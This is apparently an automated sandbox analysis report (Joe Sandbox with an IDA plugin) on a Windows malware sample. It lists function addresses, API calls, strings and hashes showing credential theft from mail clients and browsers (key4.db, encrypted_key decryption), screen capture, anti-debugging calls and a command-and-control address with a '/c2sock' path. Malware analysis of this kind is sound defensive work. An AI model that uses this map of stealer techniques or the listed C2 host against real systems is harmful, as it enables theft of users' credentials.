Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Query$InformationProcessVirtual
String ID: ]^4$^^4$^^4$^^4
API String ID: 1364735940-2923853987
Opcode ID: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction ID: e1f5519adcfceb975286f451de33aaf8cbb4e2bcda804772fdea06b08d6dcce1
Opcode Fuzzy Hash: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction Fuzzy Hash: CD510B31B08271ABDB24891CA68097E62D45B44314FA44D2BFDD9EB328C2ADCDD6974F

Function 0043323B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00433288
GetSystemMetrics.USER32(00000001), ref: 004333C3
GetSystemMetrics.USER32(00000000), ref: 0043341E

Strings

DISPLAY, xrefs: 00433283

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Create
String ID: DISPLAY
API String ID: 1087689917-865373369
Opcode ID: e111dd26da1cce17ec30f396acc00c8357a98608eb13f1216a439640c8f7afd7
Instruction ID: b761a9eed8f132f3d76dd51699d475c40aa8c4f3e32308c58242f5baaa05262b
Opcode Fuzzy Hash: e111dd26da1cce17ec30f396acc00c8357a98608eb13f1216a439640c8f7afd7
Instruction Fuzzy Hash: EA513672D041059BEF208F588845ABFB6A4EB9D312F34B563E516EB350D278CF814B9B

Function 00401FF9 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 254sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,?,?,?,?,?,?,?,?,?,?,?,?,?,?,E3E203CD), ref: 004020D7
ExitProcess.KERNEL32 ref: 00402428

Strings

Ku^%, xrefs: 00402040
Ku^%, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ExitProcessSleep
String ID: Ku^%$Ku^%
API String ID: 911557368-1067927601
Opcode ID: 013c3d7dc7fc862d36ffcb00b25dcaf7516d0370d05350ed3a1ad5b255c26736
Instruction ID: 7c1692d81d369eac2294152011f0ccab71a19272a549e25e1d59810d67b13e6b
Opcode Fuzzy Hash: 013c3d7dc7fc862d36ffcb00b25dcaf7516d0370d05350ed3a1ad5b255c26736
Instruction Fuzzy Hash: 82A1E571500B058BD7348E29D68862B76E0AB41714B248D3FE55BFBBE0D6FCE8459B0B

Function 004224A3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 201nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(000000FF,0000001F,?,00000004,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004227D5

Strings

9a%^, xrefs: 004225B2
M%, xrefs: 0042265C
M%, xrefs: 0042277D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID: 9a%^$M%$M%
API String ID: 1778838933-3204844187
Opcode ID: 9ade9e483b5ebb250e7fe0e529f96f4c94ae799fe6f97278c80e701388524701
Instruction ID: a14d1243167b6357461e6519a130038910b412cbb64089044718b0755659bab4
Opcode Fuzzy Hash: 9ade9e483b5ebb250e7fe0e529f96f4c94ae799fe6f97278c80e701388524701
Instruction Fuzzy Hash: 5A819875F04229ABCF28DF58EAD06ADB7B0AB24300FE48557D451E7351D2BC8A81CB4A

Function 0042C0DA Relevance: 6.8, Strings: 5, Instructions: 552COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 0042C514
%localappdata%\Mailbird\Store, xrefs: 0042C52E
Mail Clients\Mailbird, xrefs: 0042C138, 0042C424, 0042C474
\MessageIndex, xrefs: 0042C26E
*.db, xrefs: 0042C479

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: %localappdata%\Mailbird\Store$*.db$Mail Clients\Mailbird$\MessageIndex$kernel32.dll
API String ID: 0-4169501468
Opcode ID: 998153987a092bc391745c6bd773306619986c146018ef37c9d8809a776367a6
Instruction ID: 37c33aadf0b1a5fededcf733a2f710a0aa0d7e8b715308be68c7b56e9875aa70
Opcode Fuzzy Hash: 998153987a092bc391745c6bd773306619986c146018ef37c9d8809a776367a6
Instruction Fuzzy Hash: C21209B1F4022A8BDF149B98A8C25BF7661EF10314FA4452BE411FA391D72D8A41CBDF

Function 0043B362 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 550stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE(?,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,-000017AA), ref: 0043B7A5

Strings

VL6T, xrefs: 0043BAF5
kernel32.dll, xrefs: 0043B79D
VL6T, xrefs: 0043B6ED

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: VL6T$VL6T$kernel32.dll
API String ID: 1586166983-858732239
Opcode ID: 12c1549d627155c630d8ca6eb72fb2876e14e488023c5ebfadd3efd311715951
Instruction ID: ac9e96eee08e7f4766fdf27955405b0e073298ede107f6bf942f2813ff7035d8
Opcode Fuzzy Hash: 12c1549d627155c630d8ca6eb72fb2876e14e488023c5ebfadd3efd311715951
Instruction Fuzzy Hash: F912BA71D045198BCF28CA5988967BEB6B0EB1D300F24651BDA06EB760D73CDD818BDB

Function 00430228 Relevance: 5.7, Strings: 4, Instructions: 717COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 00430A91
VL6T, xrefs: 00430812
VL6T, xrefs: 0043093E
UL6T, xrefs: 00430495

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: UL6T$VL6T$VL6T$kernel32.dll
API String ID: 4038537762-2028718673
Opcode ID: 7f0570dafa6d19f3a3e4030d7ec8142c43fb6ca8828ccd976bb5ebe1ae7d6833
Instruction ID: c2102a5980ece967c5cd64c746778263c5b3406957fe7555e788f878a3f1dfdb
Opcode Fuzzy Hash: 7f0570dafa6d19f3a3e4030d7ec8142c43fb6ca8828ccd976bb5ebe1ae7d6833
Instruction Fuzzy Hash: 99420BB1D001199BDF288A98C8656BF76B0AB18310F241767E915FB3D0D37C8E95CB9B

Function 004052D9 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 467encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00405575

Strings

crypt32.dll, xrefs: 00405558, 004059AF
os_c576xedrypt.encry576xedpted_key, xrefs: 00405A29

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CryptDataUnprotect
String ID: crypt32.dll$os_c576xedrypt.encry576xedpted_key
API String ID: 834300711-975908830
Opcode ID: 6ec49e03afd1e886a5d6749f16ab2b942470457bc97d4b462b27af3ea700647b
Instruction ID: 8c3ac9f04a9491c7941596228a2b8d17953981cc6a452a8cfbc5ca82bdd136a5
Opcode Fuzzy Hash: 6ec49e03afd1e886a5d6749f16ab2b942470457bc97d4b462b27af3ea700647b
Instruction Fuzzy Hash: 4402B4B1E00A098FDF249A98DC816BFBB74EB14314F24457BE915FA3E0D37989418F5A

Function 0042F278 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 222stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,0043047B), ref: 0042F315
lstrcatW.KERNEL32(?,\key4.db), ref: 0042F31F

Strings

\key4.db, xrefs: 0042F317

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: \key4.db
API String ID: 4038537762-2908133219
Opcode ID: c274c9b68e34842f206bf802bf848d073bbe615893bbf2fcb8277165c47de0ca
Instruction ID: 3d8cc84be03ebf0018643bd6ad0f3ea75a9045ade11442e12932e6ab408eecf0
Opcode Fuzzy Hash: c274c9b68e34842f206bf802bf848d073bbe615893bbf2fcb8277165c47de0ca
Instruction Fuzzy Hash: C37198A6F0012996DF249968BC4157F23B16B92710FF40977E005DB391E27ECD8987AF

Function 0042CFBA Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

Mail Clients\eM Client, xrefs: 0042CFBE
^^4, xrefs: 0042D32D
^^4, xrefs: 0042D20F
]^4, xrefs: 0042CFF0

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: Mail Clients\eM Client$]^4$^^4$^^4
API String ID: 0-1928883120
Opcode ID: 490cee9e03f46942998cbacae6b351251b9d38460da8d0580215e8d3c57ef9a7
Instruction ID: 9be5ae4bf1e72463837e643df42d36053b45937ac977a5871966d9d3f700dc7e
Opcode Fuzzy Hash: 490cee9e03f46942998cbacae6b351251b9d38460da8d0580215e8d3c57ef9a7
Instruction Fuzzy Hash: 5CE14DB1F4012A8BDF189E54FD822BF7662AB14304FA4052BE015FA395E73DCA4187DB

Function 00453BC4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0044E224: RtlFreeHeap.NTDLL(00000000,00000000,?,00447A98,00426F52,?,?), ref: 0044E23A
Part of subcall function 0044E224: GetLastError.KERNEL32(?,?,00447A98,00426F52,?,?), ref: 0044E245

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00454058,004170BE,?), ref: 00453C36

Strings

Eastern Standard Time, xrefs: 00453CCF
Eastern Summer Time, xrefs: 00453CE3

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3335090040-239921721
Opcode ID: 2af139a3764a0c05745c62e5f991a316996d580cafce79d7789892506ed109ab
Instruction ID: 7ab12ca904d85c611abf05cc92b1328e63041ffa610859c45aae75821d6d65e9
Opcode Fuzzy Hash: 2af139a3764a0c05745c62e5f991a316996d580cafce79d7789892506ed109ab
Instruction Fuzzy Hash: DA3159B2D00115ABCB11AFA6DC4695ABB74EF05797F10406BF804A7162E7789F04CB99

Function 00438E28 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 417COMMON

Download Yara Rule

Strings

gU@, xrefs: 0043935E

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: gU@
API String ID: 0-63564854
Opcode ID: 8bc7925b9e038d193efd2d2866c7942856053ba973fa878822b50d9ea5857523
Instruction ID: 9bb5ed087af5853c8395ebcf4a55f6806a95a7423fdc301e10d6eb9c751f7a08
Opcode Fuzzy Hash: 8bc7925b9e038d193efd2d2866c7942856053ba973fa878822b50d9ea5857523
Instruction Fuzzy Hash: 4FE1D871D042198BDF249B6888826BEBA70BB1D310F24252FE559FB390D77CCD418B9B

Function 0040B7BB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00000000,?,?,?), ref: 0040B80B

Strings

ntdll.dll, xrefs: 0040B7F8

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Close
String ID: ntdll.dll
API String ID: 3535843008-2227199552
Opcode ID: cd4e9ab95000133a587c79dbdb14eef8d6e48608e068825cd0d0d3dffcb8006f
Instruction ID: 07c00f1c427ac074378915b2824e934ab5066280a98a6b1b7d7a0ad64244f161
Opcode Fuzzy Hash: cd4e9ab95000133a587c79dbdb14eef8d6e48608e068825cd0d0d3dffcb8006f
Instruction Fuzzy Hash: 7DF0E992A0016279E6106A669C0197B768CDE86361F144533F815E73D1E33C8E0192FE

Function 0040B7F5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00000000,?,?,?), ref: 0040B80B

Strings

ntdll.dll, xrefs: 0040B7F8

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Close
String ID: ntdll.dll
API String ID: 3535843008-2227199552
Opcode ID: fc421d87402b4386972566e4e5051b6ecebdf77c0c0cd5e6f8509a3cd20f6b8d
Instruction ID: f273f3d0fb77e3baaf18c0c5406a57793bb7cae49ecc4258f7fe46d16d2ae272
Opcode Fuzzy Hash: fc421d87402b4386972566e4e5051b6ecebdf77c0c0cd5e6f8509a3cd20f6b8d
Instruction Fuzzy Hash: 08C08063F8102166850175D47C035AD631CD9D8337F1C4437F91AF2301F525161D01FB

Function 008ADB56 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008ADB7E
Module32First.KERNEL32(00000000,00000224), ref: 008ADB9E

Memory Dump Source

Source File: 00000000.00000002.3612871914.00000000008AD000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ad000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d3e4c5e0aaa62e8f14b528dfca0c88242ea5447ca53bb541063d1e3476908cc2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0FF0C2351007106FE7203AB8988DB6E76E8FF4A731F100528E653D1CC0DB70E8068A71

Function 004245EC Relevance: 1.7, APIs: 1, Instructions: 207nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000023,?,00000002,00000000), ref: 00424811

Part of subcall function 004262A1: LoadLibraryA.KERNELBASE(fltl), ref: 004263DE

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: InformationLibraryLoadQuerySystem
String ID:
API String ID: 1217483125-0
Opcode ID: 87505e49a8eb848821dffb05ea81a0e5641ec38d0459a75f9f4d4ff82dc7fd33
Instruction ID: a7ee391c1cc3a25a3919c4d00fef5949a9432234e98ec336f1522245060c6ad6
Opcode Fuzzy Hash: 87505e49a8eb848821dffb05ea81a0e5641ec38d0459a75f9f4d4ff82dc7fd33
Instruction Fuzzy Hash: 1471C5B1B08261CBCB24DF18A58112EB6E0FBC5314FA65D1FE496EB351D63CC8858B5B

Function 00421EEB Relevance: 1.7, APIs: 1, Instructions: 153nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(000000FF,00000007,FFFFFF06,00000004,00000000), ref: 00421F7A

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction ID: 4c19edd8aa9c17fc0a78f2ac854e6ceab7ff99fd175543fb6d48c07bc42e7691
Opcode Fuzzy Hash: 66d74e5b20d9c384740991f0b87e692f2e80e905805bc9109d63d683fad776b8
Instruction Fuzzy Hash: B151B730F081359BCF248B5CAA8076DBAA5AB24315FA14517EB25E73B4C379DD81874B

Function 004244E4 Relevance: 1.6, APIs: 1, Instructions: 71nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,?,?,?,?,?,0041EC64), ref: 004245E5

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 5af1248077b72cee271f1dc4513ba9fdd6fbe0fa2681126dcf50cb3d141ba941
Instruction ID: e4e78e09ab512bb18b464cd4d2f873358ef8636b72ff0900b4d62f7f8a955cf4
Opcode Fuzzy Hash: 5af1248077b72cee271f1dc4513ba9fdd6fbe0fa2681126dcf50cb3d141ba941
Instruction Fuzzy Hash: 372132B57046216BC7249E1CA84253EA6D4EBD8314F55593BFACBEF750D238CC809B87

Function 0042F1C2 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(F2E4C6A8,00000000), ref: 0042F21D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 1c25e0eb5abf8d8b8060ecc68c24b031f84286c1c8975e7eed6408469da21eb6
Instruction ID: a368c7a5dfb214292b8ef9e9d0bae651ecd455d0456980d3106c0b1a917b6dbd
Opcode Fuzzy Hash: 1c25e0eb5abf8d8b8060ecc68c24b031f84286c1c8975e7eed6408469da21eb6
Instruction Fuzzy Hash: 9DF06DB1900644DFD710DF99E989B5AFBF8EB48724F10C16AE4289B751D33C5844CF68

Function 0044FB15 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5466edf919cf6453cb3fe632e64b7bc90129a20e483f7dfcae3dbb783ead61c5
Instruction ID: c1995cbfc35cf923d3c3ea23a15c0124f92d8ae5a77ba2b7d44262ced24471db
Opcode Fuzzy Hash: 5466edf919cf6453cb3fe632e64b7bc90129a20e483f7dfcae3dbb783ead61c5
Instruction Fuzzy Hash: AFE08C72912278EBCB15DB89C945D8AF3FCEB49B14B2500ABB501D3200C674EE04CBD4

Function 00443998 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction ID: 17c6e2c9dd4ac5a7344e966d1587fdb4c68b9ede7c11da59021095b760417012
Opcode Fuzzy Hash: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction Fuzzy Hash: 09C08C7410098046EF298D10C271BA63364FBA2BCBF8005CEC4420BB46C66EAD8AD654

Function 0042F625 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 418
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,?), ref: 0042F9A2
lstrcatW.KERNEL32(?,?), ref: 0042F9CF
lstrcatW.KERNEL32(?,0045E102), ref: 0042FA7D
lstrcatW.KERNEL32(?,0045E102), ref: 0042FAFF

Strings

n_v, xrefs: 0042FAAD
n_v, xrefs: 0042FD1C
)lu, xrefs: 0042FCC2
)lu, xrefs: 0042F81C
(lu, xrefs: 0042F811
n_v, xrefs: 0042FCCB

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: (lu$)lu$)lu$n_v$n_v$n_v
API String ID: 4038537762-1534030094
Opcode ID: 072b878477c295eb77043ba653f905b2afdd85461ce88a646d5d7cd4a06fd790
Instruction ID: 4b57ba66ae2396d09571da8aec8c9542c80e7c55b9c92ca3ddc1ba6dd1b7a9a6
Opcode Fuzzy Hash: 072b878477c295eb77043ba653f905b2afdd85461ce88a646d5d7cd4a06fd790
Instruction Fuzzy Hash: 7AF11D71B0012E9BCF289F99E8515BEBAB4FB54310FE44537E401EA3B0D37989469B4B

Function 0041A28F Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wctomb_s.LIBCMT ref: 0041A498

Strings

94.158.244.69, xrefs: 0041A910
GhYuIq, xrefs: 0041A67A
/c2sock, xrefs: 0041A814
lid, xrefs: 0041A67F
pid, xrefs: 0041A669
hwid, xrefs: 0041A655
file, xrefs: 0041A6E9

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _wctomb_s
String ID: /c2sock$94.158.244.69$GhYuIq$file$hwid$lid$pid
API String ID: 2865277502-1332857675
Opcode ID: eb0b6a858b081c0f0339ece4a3e91829cc041cf882a78251da46bd4ef4ec5e2d
Instruction ID: cc35308ceb474d8d45e9bf1619109491d7752d3a10985d79ac983763bc7ee506
Opcode Fuzzy Hash: eb0b6a858b081c0f0339ece4a3e91829cc041cf882a78251da46bd4ef4ec5e2d
Instruction Fuzzy Hash: 11F108B5D0211A9BDF248B88C8455FEBAB1AB14340F24496BE415F7394D33DCAE18B9F

Function 0233003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0233024D

Strings

cess, xrefs: 0233018D
kernel32.dll, xrefs: 0233008F, 02330095

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 630cfdc9f68c4602c6f9e054d7463fb40ce5c3a582782d687d0597b05b959f97
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 98526A75A01229DFDB65CF68C984BACBBB5BF09304F1480D9E94DAB351DB30AA85CF14

Function 00432718 Relevance: 10.7, APIs: 7, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateCompatibleDC.GDI32(00000D62), ref: 00432894
DeleteDC.GDI32(00000002), ref: 00432B01
DeleteObject.GDI32(?), ref: 00432B0A

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Delete$CompatibleCreateObject
String ID:
API String ID: 1022343127-0
Opcode ID: 9c86189b810d3e515d08f5d9a84ca5729e654e6d330d14ecc6a0223a2e2684ea
Instruction ID: 50fedbdf880eafc0b33480be7e0390951b775b57d16ab65b209ae7f2f2027e24
Opcode Fuzzy Hash: 9c86189b810d3e515d08f5d9a84ca5729e654e6d330d14ecc6a0223a2e2684ea
Instruction Fuzzy Hash: 358116B590031A9BDF209F948EC557E7A74BB0C350F282617E510F63A0D3FD9A419BAB

Function 0044CF15 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,0044D022,?,00426F52,00000000,00000000,?,?,0044CDD6,00000021,FlsSetValue,0046503C,FlsSetValue,00000000), ref: 0044CFD6

Strings

ext-ms-, xrefs: 0044CF80
api-ms-, xrefs: 0044CF6C

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction ID: c6a9518bbc4403065455c8dc6532f837efe444071a0c6fa5154c8577c36c6d79
Opcode Fuzzy Hash: 6740c229368fb351fb4ec7fc524e13049988398a7c5dabcb7bff3fed9ad9b5d0
Instruction Fuzzy Hash: 4521EE31E47210ABEB219B65DCC0A5B77699B41764B190122FD05A73D0FBBCDD08C6DD

Function 0044575F Relevance: 9.3, APIs: 6, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 004458F2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0044590E
__allrem.LIBCMT ref: 00445925
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00445943
__allrem.LIBCMT ref: 0044595A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00445978

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 6914c5dd9646aa3fd790727cf4e39c2290796d50bc97961f3513338c227282f2
Instruction ID: 558deed22b9213933cb6ee14014e535275a7d7dbd354c33e6b5693a62e892da8
Opcode Fuzzy Hash: 6914c5dd9646aa3fd790727cf4e39c2290796d50bc97961f3513338c227282f2
Instruction Fuzzy Hash: 0681D8B1600B06DBFB20AE29CC42B5BB3E9AF54768F24452FE411D67C3E778D9058B58

Function 00433C10 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 252COMMON

Download Yara Rule

Strings

M%, xrefs: 00433D93
9a%^, xrefs: 00433D03
Screen.png, xrefs: 00433F6F

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

